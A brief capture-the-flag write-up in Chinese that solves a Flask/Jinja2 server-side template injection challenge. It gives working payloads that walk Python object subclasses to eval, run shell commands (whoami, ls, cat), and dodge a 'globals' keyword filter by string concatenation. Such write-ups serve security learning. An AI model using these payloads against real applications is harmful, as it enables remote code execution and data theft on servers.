解题
查看所有模块,{{().__class__.__bases__[0].__subclasses__()}}
查看到可以用的类<class 'warnings.catch_warnings'>
,在59位,构造payload
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
,直接错误,经过测试发现globals
被过滤,只是输入globals
也会错误,用字符串拼接绕过['__glo'+'bals__']
构造payload{{().__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
获取目录{{().__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
查看flasklight目录,{{().__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls flasklight').read()")}}
读取flag,{{().__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat flasklight/coomme_geeeett_youur_flek').read()")}}